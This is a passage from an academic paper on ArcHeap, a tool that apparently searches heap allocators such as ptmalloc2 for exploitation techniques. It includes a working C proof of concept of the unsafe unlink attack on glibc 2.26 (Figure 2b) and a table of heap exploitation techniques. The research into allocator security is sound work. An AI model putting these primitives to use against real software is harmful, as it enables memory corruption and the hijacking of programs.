
Automatic Techniques to Systematically Discover
New Heap Exploitation Primitives

Insu Yun† Dhaval Kapil‡ Taesoo Kim†

† Georgia Institute of Technology ‡ Facebook

Abstract
Exploitation techniques to abuse metadata of heap allocators
have been widely studied because of their generality (i.e.,
application independence) and powerfulness (i.e., bypassing
modern mitigation). However, such techniques are commonly
considered arts, and thus the ways to discover them remain
ad-hoc, manual, and allocator-specific.

In this paper, we present an automatic tool, ARCHEAP,
to systematically discover the unexplored heap exploita-
tion primitives, regardless of their underlying implementa-
tions. The key idea of ARCHEAP is to let the computer au-
tonomously explore the spaces, similar in concept to fuzzing,
by specifying a set of common designs of modern heap allo-
cators and root causes of vulnerabilities as models, and by
providing heap operations and attack capabilities as actions.
During the exploration, ARCHEAP checks whether the com-
binations of these actions can be potentially used to construct
exploitation primitives, such as arbitrary write or overlapped
chunks. As a proof, ARCHEAP generates working PoC that
demonstrates the discovered exploitation technique.

We evaluated ARCHEAP with ptmalloc2 and 10 other allo-
cators, and discovered five previously unknown exploitation
techniques in ptmalloc2 as well as several techniques against
seven out of 10 allocators including the security-focused allo-
cator, DieHarder. To show the effectiveness of ARCHEAP’s
approach in other domains, we also studied how security fea-
tures and exploit primitives evolve across different versions
of ptmalloc2.

1 Introduction
Heap-related vulnerabilities have been the most common,
yet critical source of security problems in systems soft-
ware [42, 64, 65, 71]. According to Microsoft, heap vul-
nerabilities accounted for 53% of security problems in their
products in 2017 [48]. One way to exploit these vulnerabili-
ties is to use heap exploitation techniques [61], which abuse
underlying allocators. There are two properties that make
these techniques preferable for attacks. First, heap exploita-
tion techniques tend to be application-independent, making
it possible to write exploit without a deep understanding of

Target programs Before ASLR After ASLR

02-04 05-07 Total 08-10 11-13 14-16 17-19 Total

Scriptable 0 12 12 13 29 11 4 57

Non-scriptable 9 7 16 5 1 3 2 11
(via heap exploit techs) 12 12 24 3 4 1 2 10

Scriptable: Software accepting a script language
(e.g., web browsers or PDF readers).

Table 1: The number of exploitations that lead to code execu-
tion from heap vulnerabilities in exploit-db [50]. A heap exploit
technique is one of the popular methods used to compromise non-
scriptable programs—bugs in scriptable programs typically allow
much easier, simpler way for exploitation, requiring no use of the
heap exploitation technique.

application internals. Second, heap vulnerabilities are typi-
cally so powerful that attackers can bypass modern mitigation
schemes by abusing them. For example, a seemingly be-
nign bug that overwrites one NULL byte to the metadata of
ptmalloc2 leads to a privilege escalation on Chrome OS [2].

Heap exploitation techniques have steadily been used in
real-world exploits. To show that, we collected successful
exploits for heap vulnerabilities leading to arbitrary code exe-
cution from the well-known exploit database, exploit-db [50].
As shown in Table 1, heap exploitation techniques were one
of the favorable ways to compromise software when ASLR
was not implemented (24 / 52 exploits). Even after ASLR
is deployed, heap bugs in non-scriptable programs are fre-
quently exploited via heap exploitation techniques (10 / 21
exploits). Not to mention, popular software such as the Exim
mail server [47], WhatsApp [6] and VMware ESXi [77] are
all hijacked via the heap exploitation technique in 2019. Note
that scriptable programs provide much simpler, flexible ex-
ploitation techniques, so using heap exploitation techniques is
not yet preferred by an attacker: e.g., corrupting an array-like
structure to achieve arbitrary reads and writes.

Communities have been studying possible attack tech-
niques against heap vulnerabilities (see, Table 2), but finding
such techniques is often considered an art, and thus the ap-
proaches used to discover them remain ad-hoc, manual and
allocator-specific at best. Unfortunately, such a trend makes it
hard for communities to understand the security implications
of various heap allocators (or even across different versions).



2001 • (1) Once upon a free()... [1]
2003 • (1) Advanced Doug lea’s malloc exploits [38]
2004 • (2) Exploiting the wilderness [55]
2007 • (2) The use of set_head to defeat the wilderness [25]
2007 • (3) Understanding the heap by breaking it [20]
2009 • (1) Yet another free() exploitation technique [36]
2009 • (6) Malloc Des-Maleficarum [7]
2010 • (2) The house of lore: Reloaded [8]
2014 • (1) The poisoned NUL byte, 2014 edition [18]
2015 • (2) Glibc adventures: The forgotten chunk [28]
2016 • (3) Ptmalloc fanzine [37]
2016 • (3) New exploit methods against Ptmalloc of Glibc [72]
2016 • (1) House of Einherjar [66]
2018 • (5) ARCHEAP

Table 2: Timeline for new heap exploitation techniques discov-
ered and their count in parentheses (e.g., ARCHEAP found five new
techniques in 2018).

For example, when tcache was recently introduced in ptmal-
loc2 to improve the performance with a per-thread cache, its
security was improperly evaluated (i.e., insufficient integrity
checks for allocation or free [17, 37]), enabling an easier
way for exploitation. Moreover, existing studies for heap
exploitation techniques are highly biased; only ptmalloc2 is
exhaustively considered (e.g., missing DieHarder [49]).

In this paper, we present an automatic tool, ARCHEAP,
to systematically discover the unexplored heap exploita-
tion primitives, regardless of their underlying implementa-
tions. The key idea of ARCHEAP is to let the computer au-
tonomously explore the spaces, similar in concept to fuzzing,
which is proven to be practical and effective in discovering
software bugs [29, 75].

However, it is non-trivial to apply classical fuzzing tech-
niques to discover new heap exploitation primitives for three
reasons. First, to successfully trigger a heap vulnerability,
it must generate a particular sequence of steps with exact
data, quickly rendering the problem intractable using fuzzing
approaches. Accordingly, researchers attempt to tackle this
problem using symbolic execution instead, but stumbled over
the well-known state explosion problem, thereby limiting its
scope to validating known exploitation techniques [17]. Sec-
ond, we need to devise a fast way to estimate the possibility
of heap exploitation, as fuzzing requires clear signals, such as
segmentation faults, to recognize interesting test cases. Third,
the test cases generated by fuzzers are typically redundant
and obscure, so users are required to spend non-negligible
time and effort analyzing the final results.

The key intuition to overcome these challenges (i.e., reduc-
ing search space) is to abstract the internals of heap allocators
and the root causes of heap vulnerabilities (see §3.1). In
particular, we observed that modern heap allocators share
three common design components, namely, binning, in-place
metadata, and cardinal data. On top of these models, we
directed ARCHEAP to mutate and synthesize heap operations
and attack capabilities. During the exploration, ARCHEAP
checks whether the generated test case can be potentially
used to construct exploitation primitives, such as arbitrary

Allocators B I C Description (applications)

ptmalloc2 ✓ ✓ ✓ A default allocator in Linux.
dlmalloc ✓ ✓ ✓ An allocator that ptmalloc2 is based on.
jemalloc ✓ ✓ A default allocator in FreeBSD.
tcmalloc ✓ ✓ ✓ A high-performance allocator from Google.
PartitionAlloc ✓ ✓ A default allocator in Chromium.
libumem ✓ ✓ A default allocator in Solaris.

B: Binning, I: In-place metadata, C: Cardinal data

Table 3: Common designs used in various memory allocators. This
table shows that even though their detailed implementations could
be different, heap allocators share common designs that can be
exploited for automatic testing.

writes or overlapped chunks—we devised shadow-memory-
based detection for efficient evaluation (see, §5.3). Whenever
ARCHEAP finds a new exploit primitive, it generates a work-
ing PoC code using delta-debugging [76] to reduce redundant
test cases to a minimal, equivalent class.

We evaluated ARCHEAP with ptmalloc2 and 10 other al-
locators. As a result, we discovered five new exploit tech-
niques against Linux’s default heap allocator, ptmalloc2.
ARCHEAP’s approach can be extended beyond ptmalloc2;
ARCHEAP found several exploit primitives against other pop-
ular heap allocators, such as tcmalloc and jemalloc. Moreover,
by disclosing unexpected exploit primitives, ARCHEAP iden-
tified three implementation bugs in DieHarder, Mesh [56],
and mimalloc, respectively.

The closest related work to ARCHEAP is HeapHopper [17],
which verifies existing heap exploit techniques using symbolic
execution. Compared with HeapHopper, ARCHEAP outper-
forms it in finding new techniques; none of the new techniques
from ARCHEAP are found by HeapHopper. Moreover, unlike
HeapHopper, ARCHEAP is independent on exploit-specific
information, which is unavailable in finding new techniques;
HeapHopper found only three out of eight known techniques
in ptmalloc2 without the prior knowledge, while ARCHEAP
found all eight. This shows that HeapHopper is ineffective for
this new task (i.e., finding new exploit techniques), justifying
the need for this new tool.

To show the effectiveness of the ARCHEAP’s approach in
other domains, we also studied how exploit primitives evolve
across different versions of ptmalloc2, demonstrating the need
for an automated method to evaluate the security of heap allo-
cators. To foster further research, we open-source ARCHEAP
at https://github.com/sslab-gatech/ArcHeap.

In summary, we make the following contributions:
• We show that heap allocators share common designs, and

we devise an efficient method to evaluate exploitation
techniques using shadow memory.
• We design, implement, and evaluate our prototype,

ARCHEAP, a tool that automatically discovers heap ex-
ploitation techniques. against various allocators.
• ARCHEAP found five new techniques in ptmalloc2 and

several techniques in various allocators, including tc-
malloc, jemalloc, and DieHarder, and it outperforms
a state-of-the-art tool, HeapHopper, in finding new ex-
ploitation techniques.

https://github.com/sslab-gatech/ArcHeap


2 Analysis of Heap Allocators
2.1 Modern Heap Allocators
Dynamic memory allocation [41] plays an essential role in
managing a program’s heap space. The C standard library
defines a set of APIs to manage dynamic memory allocations
such as malloc() and free() [24]. For example, malloc()
allocates the given number of bytes and returns a pointer
to the allocated memory, and free() reclaims the memory
specified by the given pointer.

A variety of heap allocators [19, 26, 41, 43, 45, 49, 56,
59, 64, 65] have been developed to meet the specific needs
of target programs. Heap allocators have two types of com-
mon goals: good performance and small memory footprint—
minimizing the memory usage as well as reducing fragmenta-
tion, which is the unused memory (i.e., hole) among in-use
memory blocks. Unfortunately, these two desirable properties
are fundamentally conflicting; an allocator should minimize
additional operations to achieve good performance, whereas
it requires additional operations to minimize fragmentation.
Therefore, the goal of an allocator is typically to find a good
balance between these two goals for its workloads.
Common designs. In analyzing various heap allocators,
we found their common design principles shown in Table 3:
binning, in-place metadata, and cardinal data. Many allo-
cators use size-based classification, known as binning. In
particular, they partition a whole size range into multiple
groups to manage memory blocks deliberately according to
their size groups; small-size blocks focus on performance,
and large-size blocks focus on memory usage of the alloca-
tors. Moreover, by dividing size groups, when they try to find
the best-fit block, the smallest but sufficient block for given
request, they scan only blocks in the proper size group instead
of scanning all memory blocks.

Moreover, many dynamic memory allocators place meta-
data near the payload, called in-place metadata, even though
some allocators avoid this because of security problems from
corrupted metadata in the presence of memory corruption
bugs (see Table 3). To minimize memory fragmentation, a
memory allocator should maintain information about allo-
cated or freed memory in metadata. Even though the allocator
can place metadata and payload in distinct locations, many
allocators store the metadata near the payload (i.e., a head or
a tail of a chunk) to increase locality. In particular, by con-
necting metadata and payload, an allocator can get benefits
from the cache, resulting in performance improvement.

Further, memory allocators contain only cardinal data that
are not encoded and essential for fast lookup and memory
usage. In particular, metadata are mostly pointers or size-
related values that are used for their data structures. For
example, ptmalloc2 stores a raw pointer for a linked list that
is used to maintain freed memory blocks.

This observation has been leveraged to devise the universal
method to test various allocators regardless of their imple-
mentations (see §5.2). First, our approach should consider

1 struct malloc_chunk {
2 // size of "previous" chunk
3 // (only valid when the previous chunk is freed, P=0)
4 size_t prev_size;
5 // size in bytes (aligned by double words): lower bits
6 // indicate various states of the current/previous chunk
7 // A: alloced in a non-main arena
8 // M: mmapped
9 // P: "previous" in use (i.e., P=0 means freed)

10 size_t size;
11 // double links for free chunks in small/large bins
12 // (only valid when this chunk is freed)
13 struct malloc_chunk* fd;
14 struct malloc_chunk* bk;
15 // double links for next larger/smaller size in largebins
16 // (only valid when this chunk is freed)
17 struct malloc_chunk* fd_nextsize;
18 struct malloc_chunk* bk_nextsize;
19 };

size PMA

size P=1MA

struct malloc_chunk

size

payload

malloc(): 
returned ptr

size

payload size
 (usable)

size PMA

size P=0MA

struct malloc_chunk

free(ptr)

(a) allocated chunk (b) free chunk
(e.g., small bin)

prev_size (   size)

fd
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=

Figure 1: Metadata for a chunk in ptmalloc2 and memory layout
for the in-use and freed chunks [23].

binning to explore multiple size groups of an allocator. For
example, if we just uniformly pick a size in the 264 space, the
probability of choosing the smallest size group in ptmalloc2
(< 27) becomes nearly zero (2−57). Thus, we need to use a
better sampling method considering binning. Moreover, the
other two design principles — in-place and cardinal metadata
— limit the locations and domains of metadata, reducing the
search space. Under these design principles, we only need to
focus on metadata in the boundary of a chunk with specific
forms (i.e., pointers or sizes).

2.2 ptmalloc2: glibc’s Heap Allocator
In this section, we discuss ptmalloc2 [22, 23, 27], the heap
allocator used in glibc, whose exploitation techniques have
been heavily studied because of its prevalence and its com-
plexity of metadata [1, 3, 7, 18, 20, 25, 36, 38, 55]. Similar
to other work [17, 58], we will use ptmalloc2 as our default
allocator for further discussions.
Metadata. A chunk in ptmalloc2 is a memory region con-
taining metadata and payload. Memory allocation API such
as malloc() returns the address of the payload in the chunk.
Figure 1 shows the metadata of a chunk and its memory lay-
out for an in-use and a freed chunk. prev_size represents the
size of a previous chunk if it is freed. Although the prev_size
of a chunk overlaps with the payload of the previous chunk,
this is legitimate since prev_size is considered only after the
previous chunk is freed, i.e., the payload is no longer used.
size represents the size of a current chunk. The real size
of the chunk is 8-bit aligned, and the 3 LSBs of the size are



used for storing the state of the chunk. The last bit of size,
called PREV_IN_USE (P), shows whether the previous chunk is
in use. For example, in Figure 1, after the chunk is freed, the
PREV_IN_USE in the next chunk is changed from 1 to 0. Other
metadata, fd, bk, fd_nextsize, and bk_nextsize, are used to
maintain linked lists that hold freed chunks.
Binning. ptmalloc2 has several types of bins: fast bin, small
bin, large bin, unsorted bin, and tcache [15]. Each bin has
its own characteristics to achieve its goal; a fast bin uses a
single-linked list, giving up merging for performance, but a
small bin merges its freed chunks to reduce fragmentation.
Moreover, a large bin stores chunks that have different sizes to
handle arbitrarily large chunks. To optimize scanning for the
best-fit chunk, a large bin maintains another sorted, double-
linked list. The unsorted bin is a special bin that serves as a
fast staging place for free chunks. If a chunk is freed, it first
moves to the unsorted bin and is used to serve the subsequent
allocation. If the chunk is not suitable for the request, it
will move to a regular bin (i.e., a small bin or a large bin).
Using the unsorted bin, ptmalloc2 can increase locality for
performance by deferring the decision for the regular bins.
The tcache, per-thread cache, is enabled by default from
glibc 2.26. It works similarly to a fast bin but requires no
locking for threads, and therefore it can achieve significant
performance improvements for multithread programs [15].

2.3 Complex Modern Heap Exploits
Heap exploit techniques have recently been much subtle
and sophisticated to bypass the new security checks intro-
duced in the allocators. If an attacker found a vulnerability
that corrupts heap metadata (e.g., overflow) or improperly
uses heap APIs (e.g., double free), the next step is to de-
velop the bug to a more useful exploit primitive such as ar-
bitrary write. To do so, attackers typically have to modify
the heap metadata, craft a fake chunk, or call other heap
APIs according to the implementation of the target heap al-
locator. This development was trivial in the good old days
for attackers; they can use the universal technique for most
allocators (e.g., unsafe unlink). However, it became com-
plicated after many security checks were introduced to re-
spond to such attacks. Therefore, researchers have studied
and shared heap exploitation techniques that are reusable
methods to develop vulnerabilities to useful attack primi-
tives [1, 3, 7, 18, 18, 20, 25, 36, 38, 55, 66, 72]. Table 4
summarizes modern heap exploitation techniques from previ-
ous work [17] and new ones that our tool, ARCHEAP, found.
Example: Unsafe unlink. One of the most famous heap
exploitation techniques is the unsafe unlink attack that abuses
the unlink mechanism of double-linked lists in heap allocators,
as illustrated in Figure 2a. By modifying a forward pointer
(P->fd) into a properly encoded location and a backward
pointer (P->bk) into a desired value, attackers can achieve
arbitrary writes (see, P->fd->bk = P->bk). Due to the preva-
lence of double-linked lists, this technique was used for many
allocators, including dlmalloc, ptmalloc2, and even the Win-

1 #define unlink(AV, P, BK, FD) \
2 /* (1) checking if size == the next chunk’s prev_size */ \
3 ⋆ if (chunksize(P) != prev_size(next_chunk(P))) \
4 ⋆ malloc_printerr("corrupted size vs. prev_size"); \
5 FD = P->fd; \
6 BK = P->bk; \
7 /* (2) checking if prev/next chunks correctly point */ \
8 ⋆ if (FD->bk != P || BK->fd != P) \
9 ⋆ malloc_printerr("corrupted double-linked list"); \

10 ⋆ else { \
11 FD->bk = BK; \
12 BK->fd = FD; \
13 ... \
14 ⋆ }

(a) Security checks introduced since glibc 2.3.4 and 2.26. Two
security checks first validate two invariants (see, comments above)
before unlinking the victim chunk (i.e., P).
1 // [PRE-CONDITION]
2 // sz : any non-fast-bin size
3 // dst: where to write (void*)
4 // val: target value
5 // [BUG] buffer overflow (p1)
6 // [POST-CONDITION] *dst = val
7 void *p1 = malloc(sz);
8 void *p2 = malloc(sz);
9 struct malloc_chunk *fake = p1;

10 // bypassing (1): P->size == next_chunk(P)->prev_size.
11 // If fake_chunk->size = 0, next_chunk(fake)->prev_size
12 // will point to fake->prev_size. By setting both values
13 // zero, we can bypass the check. These assignements
14 // can be ommitted since heap memory is zeroed out at
15 // first time of execution.
16 fake->prev_size = fake->size = 0;
17 // bypassing (2): P->fd->bk == P && P->bk->fd == P
18 fake->fd = (void*)&fake - offsetof(struct malloc_chunk, bk);
19 fake->bk = (void*)&fake - offsetof(struct malloc_chunk, fd);
20 struct malloc_chunk *c2 = raw_to_chunk(p2);
21 // it shrinks the previous chunk’s size,
22 // tricking ‘fake’ as the previous chunk
23 c2->prev_size = chunk_size(sz) \
24 - offsetof(struct malloc_chunk, fd);
25 // [BUG] overflowing p1 to modify c2’s size:
26 // tricking the previous chunk freed, P=0
27 c2->size &= ~1;
28 // triggering unlink(fake) via backward consolidation
29 free(p2);
30 assert(p1 == (void*)&p1 - offsetof(struct malloc_chunk, bk));
31 // writing with p1: overwriting itself to dst
32 *(void**)(p1 + offsetof(struct malloc_chunk, bk)) = dst;
33 // writing with p1: overwriting *dst with val
34 *(void**)p1 = (void*)val;
35 assert(*dst == val);

(b) The unsafe unlink exploitation in glibc 2.26

Figure 2: The unlink macros and an exploit abusing the mechanism
in glibc 2.26. Compared to old glibc, two security checks have
been added in glibc 2.26. The first one hardens the off-by-one
overflow, and the second one hardens unlinking abuse. Even though
the security checks harden the attack, it is still avoidable.

dows allocator [1].

To mitigate this attack, allocators have added the new se-
curity check shown in Figure 2a, which turns out to be insuf-
ficient to prevent more advanced attacks. The check verifies
an invariant of a double-linked list that a backward pointer of
a forward pointer of a chunk should point to the chunk (i.e.,
P->fd->bk == P) and vice versa. Therefore, attackers cannot
make the pointer directly refer to arbitrary locations as before
since the pointer will not hold the invariant. Even though the
check prevents the aforementioned attack, attackers can avoid
this check by making a fake chunk to meet the condition, as



Name Abbr. Description New
Fast bin dup FD Corrupting a fast bin freelist (e.g., by double free or write-after-free) to return an arbitrary location
Unsafe unlink UU Abusing unlinking in a freelist to get arbitrary write
House of spirit HS Freeing a fake chunk of fast bin to return arbitrary location
Poison null byte PN Corrupting heap chunk size to consolidate chunks even in the presence of allocated heap
House of lore HL Abusing the small bin freelist to return an arbitrary location
Overlapping chunks OC Corrupting a chunk size in the unsorted bin to overlap with an allocated heap
House of force HF Corrupting the top chunk to return an arbitrary location
Unsorted bin attack UB Corrupting a freed chunk in unsorted bin to write a uncontrollable value to arbitrary location
House of einherjar HE Corrupting PREV_IN_USE to consolidate chunks to return an arbitrary location that requires a heap address
Unsorted bin into stack UBS Abusing the unsorted freelist to return an arbitrary location ✓
House of unsorted einherjar HUE A variant of house of einherjar that does not require a heap address ✓
Unaligned double free UDF Corrupting a small bin freelist to return already allocated heap ✓
Overlapping small chunks OCS Corrupting a chunk size in a small bin to overlap chunks ✓
Fast bin into other bin FDO Corrupting a fast bin freelist and use malloc_consolidate() to return an arbitrary non-fast-bin chunk ✓

Table 4: Modern heap exploitation techniques from recent work [17] including new ones found by ARCHEAP in ptmalloc2 with abbreviations
and brief descriptions. For brevity, we omitted tcache-related techniques.

in Figure 2b. Compared to the previous one, the check makes
the exploitation more complicated, but still feasible.

3 Heap Abstract Model
In this section, we discuss our heap abstract model, which
enables us to describe a heap exploit technique independent
from an underlying allocator. Here, we focus on an adver-
sarial model, omitting obvious heap APIs (i.e., malloc and
free) for brevity. Note that this abstraction is consistent with
related work [17, 58].

3.1 Abstracting Heap Exploitation
Our model abstracts a heap technique in two aspects: 1)
types of bugs (i.e., allowing an attacker to divert the program
into unexpected states), and 2) impact of exploitation (i.e.,
describing what an attacker can achieve as a result). This
section elaborates on each of these aspects.
1) Types of bugs. Four common types of heap-related bugs
instantiate exploitation:
• Overflow (OF): Writing beyond an object boundary.
• Write-after-free (WF): Reusing a freed object.
• Arbitrary free (AF): Freeing an arbitrary pointer.
• Double free (DF): Freeing a reclaimed object.

Each of theses mistakes of a developer allows attackers
to divert the program into unexpected states in a certain
way: overflow allows modification of all the metadata (e.g.,
struct malloc_chunk in Figure 1) of any consequent chunks;
write-after-free allows modification of the free metadata
(e.g., fd/bk in Figure 1), which is similar in spirit to use-after-
free; double free allows violation of the operational integrity
of the internal heap metadata (e.g., multiple reclaimed point-
ers linked in the heap structure); and arbitrary free similarly
breaks the operational integrity of the heap management but
in a highly controlled manner—freeing an object with the
crafted metadata. Since overflow enables a variety of paths
for exploitation, we further characterize its types based on
common mistakes and errors by developers.
• Off-by-one (O1): Overwriting the last byte of the next

consequent chunk (e.g., when making a mistake in size
calculation, such as CVE-2016-5180 [31]).
• Off-by-one NULL (O1N): Similar to the previous type,

but overwriting the NULL byte (e.g., when using string
related libraries such as sprintf).

It is worth noting that, unlike a typical exploit scenario that
assumes arbitrary reads and writes, we exclude such primi-
tives for two reasons: They are too specific to applications
and execution contexts, hardly meaningful for generalization,
and they are so powerful for attackers to launch easier attacks,
demotivating use of heap exploitation techniques. Therefore,
such powerful primitives are considered one of the ultimate
goals of heap exploitation.
2) Impact of exploitation. The goal of each heap exploita-
tion technique is to develop common types of heap-related
bugs into more powerful exploit primitives for full-fledged
attacks. For the systematization of a heap exploit, we catego-
rize its final impact (i.e., an achieved exploit primitive) into
four classes:
• Arbitrary-chunk (AC): Hijacking the next malloc to

return an arbitrary pointer of choice.
• Overlapping-chunk (OC): Hijacking the next malloc

to return a chunk inside a controllable (e.g., over-
writable) chunk by an attacker.
• Arbitrary-write (AW): Developing the heap vulnerabil-

ity into an arbitrary write (a write-where-what primitive).
• Restricted-write (RW): Similar to arbitrary-write, but

with various restrictions (e.g., non-controllable “what”,
such as a pointer to a global heap structure).

Attackers want to hijack control by using these exploit primi-
tives combined with application-specific execution contexts.
For example, in the unsafe unlink (see, Figure 2), attackers
can develop heap overflow to arbitrary writes and corrupt
code pointers to hijack control.

3.2 Threat Model
To commonly describe heap exploitation techniques, we clar-
ify legitimate actions that an attacker can launch. First, an
attacker can allocate an object with an arbitrary size, and
free objects in an arbitrary order. This essentially means
that the attacker can invoke an arbitrary number of malloc
calls with an arbitrary size parameter and invoke free (or not)
in whatever order the attacker wishes. Second, the attacker
can write arbitrary data on legitimate memory regions (i.e.,



the payload in Figure 1 or global memory). Although such
legitimate behaviors largely depend on applications in theory,
assuming this powerful model lets us examine all potential
opportunities for abuses. Third, the attacker can trigger only a
single type of bug. This limits the capabilities of the adversary
to the realistic setting. However, we allow multiple uses of
the same type to simulate a re-triggerable bug in practice. We
note that it is always more favorable to an attacker if a heap
exploit technique requires fewer capabilities than what are
described here, and in such cases, we make a side note for
better clarification.

4 Technical Challenges
Our goal is to automatically explore new types of heap ex-
ploitation techniques given an implementation of any heap
allocator—its source code is not required like AFL [75]. Such
a capability not only enables to support automatic exploit syn-
thesis but also makes several, unprecedented applications
possible: 1) systematically discovering unknown types of
heap exploitation schemes; 2) comprehensively evaluating
the security of popular heap allocators; and 3) providing in-
sight into what and how to improve their security. However,
achieving this autonomous capability is far from trivial, for
the following reasons.
Autonomous reasoning of the heap space. To find heap
exploitation techniques, we should satisfy complicated con-
straints to bypass security checks (see §2.3) in a large search
space consisting of enormous possible orders, arguments for
heap APIs, and data in the heap and global buffer. This
space could be greatly reduced using exploit-specific knowl-
edge [17]; however, this is not applicable for finding new
exploit techniques. To resolve this issue, we use a random
search algorithm that is effective in exploring a large search
space [33]. We also abstract common designs of modern heap
allocators to further reduce the search space (§5.2).
Devising exploitation techniques. While enumerating
possible candidates for exploit techniques, a system needs
to verify whether the candidates are valuable. One way
to assess the candidates is to synthesize end-to-end ex-
ploits automatically (e.g., spawning a shell), but this is ex-
tremely difficult and inefficient, especially for heap vulnera-
bilities [4, 11, 16, 33, 58, 60]. To resolve this issue, we use
the concept of impact of exploitation. In particular, we esti-
mate the impacts of exploitation (i.e., AC, OC, AW, and RW)
during exploration instead of synthesizing a full exploit. We
show that these impacts can be quickly detectable at runtime
by utilizing shadow memory (§5.3).
Normalization. Even though a random search is effective
in exploring a large search space, an exploitation technique
found by this algorithm tends to be redundant and inessen-
tial, requiring non-trivial time to analyze the result. To fix
this issue, we leverage the delta-debugging technique [76]
to minimize the redundant actions and transform the found
result into an essential class. This is so effective that we could
reduce actions by 84.3%, drastically helping us to share the

Generate random
heap actions

(§5.2)

Heap action generator

Execute actions and 
detect impacts (§5.3)

 Generate PoC exploit
(§5.4)

Minimize actions
using delta-debugging

(§5.4)

PoC generator

Model
specification

PoC
exploit

Figure 3: Overview of ARCHEAP. It first generates heap actions
according to an optional model specification. While executing the
generated actions, it estimates the impact of exploitation. Whenever
a new exploit is found, it minimizes the actions and produces Proof-
of-Concept (PoC) code.

new exploitation techniques with the community (§5.4).

5 Autonomous Exploration for Finding Heap
Exploitation Techniques

5.1 Overview
ARCHEAP follows a common paradigm in classical fuzzing—
test generation, crash detection, and test reduction—but is
tailored to heap exploitation (see Figure 3). It first generates
a sequence of heap actions based on a user-provided model
specification. This specification is optional; if it is not given,
ARCHEAP will generate every possible action. Heap actions
that ARCHEAP can formulate include heap allocation, free,
buffer writes, heap writes, and bug invocation (§5.2). Dur-
ing execution, ARCHEAP evaluates whether the executed test
case results in impacts of exploitation, similar in concept to de-
tecting a crash in fuzzing (§5.3). Whenever ARCHEAP finds
a new exploit, it minimizes the heap actions and produces
PoC code (see Figure 5), which contains only an essential set
of actions (§5.4). It is worth noting that this minimization is
to help post-analysis of a found technique but is irrelevant to
false positives; ARCHEAP yields no false positive during our
evaluation thanks to its straightforward analysis at runtime.

5.2 Generating Actions for Abstract Heap
ARCHEAP randomly generates five types of heap-related ac-
tions: allocation, deallocation, buffer writes, heap writes, and
bug invocation. To reduce the search space, ARCHEAP for-
mulates each action on top of an abstract heap model using
the common design idioms of modern allocators. The follow-
ing explains how each action takes advantage of the designs
in reducing the search space.
Allocation. The first action that ARCHEAP can perform is
allocating memory through the standardized API, malloc().
After allocating memory, ARCHEAP stores the returned ob-
ject’s address to its internal data structure, called the con-
tainer. It also stores a chunk size of the object using another
API, malloc_usable_size(), and its status (i.e., allocated)
for further use in other actions (Line 15 – 23 in Figure 4), e.g.,
deallocation or bug invocation.

ARCHEAP allocates memory in random size but con-
sidering multiple aspects to test an allocator. First of all,
ARCHEAP carefully chooses a size of an object (I1 in Ta-



Name Description Align Trans Model
I1 Random size (binning)
I2 Chunk size of a chunk ax+b
I3 Pre-defined constants
I4 Offsets between pointers ✓ x+b HA, BA, CA

P1 NULL
P2 The buffer address ✓ x+b BA
P3 A heap address ✓ x+b HA
P4 The container address ✓ x+b CA

I: Integer strategy, P: Pointer strategy, HA: Heap address,
BA: Buffer address, CA: Container address

Table 5: Strategies for generating random values by ARCHEAP.
ARCHEAP has two types of strategies: the integer type and the
pointer type. It generates the values according to alignment, trans-
formation, and the given model (see §5.1) of each type.

ble 5) to examine different logic in different bins. In partic-
ular, ARCHEAP first randomly selects a group of sizes and
then allocates an object whose size is in this group. This
group is separated by approximate boundary values instead of
implementation-specific ones to make ARCHEAP compatible
with any allocator. Currently, ARCHEAP uses four bound-
aries with exponential distance from 20 to 220, e.g., the first
group is [20,25), the second one is [25,210), etc. It makes a
small size likely to be chosen. For instance, the chance of
making a fast-bin object in ptmalloc2 becomes more than 1/4
(i.e., chance to select the first group), which was 2−57 in the
uniform sampling. This division is arbitrary but sufficient for
increasing the probability of exploring various bins.

ARCHEAP also attempts to allocate multiple objects in the
same bin (I2) since an object interacts with others in the same
bin. For example, in ptmalloc2, a non-fast-bin object merges
with a non-fast-bin object, not with a fast bin object. To cover
this interaction, ARCHEAP allocates an object whose size is
related to the other object’s size.

To find techniques induced by common mistakes in an al-
locator, ARCHEAP also uses specialized sizes (I3, I4). In
particular, ARCHEAP uses the differences between pointers
to find integer overflow vulnerabilities in an allocator. For ex-
ample, a vulnerable allocator can return a buffer address when
claiming a very large chunk whose size is the same as the dif-
ference between the buffer and a heap object. ARCHEAP also
utilizes several pre-defined constants, e.g., zero or negative
numbers, to evaluate its edge case handling. This is analogous
to classical fuzzing, which uses a fixed set of integers to check
corner conditions (e.g., interesting values in AFL [75]).
Deallocation. ARCHEAP deallocates a randomly selected
heap pointer from the heap container using free(). To avoid
launching a double free bug, which will be emulated in the
bug invocation action, ARCHEAP checks an object’s status. If
ARCHEAP chooses an already freed pointer, it simply ignores
the deallocation action to avoid the bug (Line 24 – 30).
Heap & Buffer write. The next action that ARCHEAP
can formulate is writing random data to a heap object or the
global buffer. As aforementioned, to find heap exploitation
techniques, written data should be accurate in terms of their
positions and values, rendering classical fuzzing (i.e., purely

1 void check_shadow(bool arbitrary) {
2 // check shadow memory and report ARBITRARY_WRITE
3 // if arbitrary is true, othewise RESTRICTED_WRITE
4 }
5 void check_overlap(void** ptr) {
6 // check overlaps of ptr with other chunks, buffer, or container
7 }
8 void* random_size() {
9 // generate random size using the integer strategies in Table 5

10 // note that it only uses container and buffer, not their shadow
11 }
12 void* random_value() {
13 // similar to random_size(), but use all strategies in Table 5
14 }
15 void allocate() {
16 void** ptr = malloc(random_size());
17 check_shadow(false);
18 check_overlap(ptr);
19 allocated[ptr_id] = true;
20 chunk_sizes[ptr_id] = malloc_usable_size(ptr);
21 container[ptr_id] = container_shadow[ptr_id] = ptr;
22 ptr_id++;
23 }
24 void deallocate() {
25 int index = rand() % ptr_id;
26 if (!allocated[index]) return;
27 allocated[index] = false;
28 free(container[index]);
29 check_shadow(false);
30 }
31 void heap_write() {
32 int index = rand() % ptr_id;
33 if (!allocated[index]) return;
34 void** ptr = container[index];
35 size_t num = rand() % MAX_WRITE + 1;
36 size_t start = 0, end = num; // a head of the chunk
37 if (rand() % 2) { // a tail of the chunk
38 end = chunk_sizes[index] / (sizeof(void*));
39 start = end - num;
40 }
41 for (size_t i = start; i < end; i++)
42 ptr[i] = random_value();
43 check_shadow(true);
44 }
45 void buffer_write() {
46 int index = rand() % MAX_BUF;
47 size_t num = rand() % MAX_WRITE + 1;
48 for (int i = 0; i < num; i++)
49 buffer[i] = buffer_shadow[i] = random_value();
50 check_shadow(true);
51 }

Figure 4: Pseudocode for generating actions in ARCHEAP. To save
space, we omitted several functions, sanity checks, and variable
declarations that can be inferred.

random generation) infeasible. To overcome such limitations,
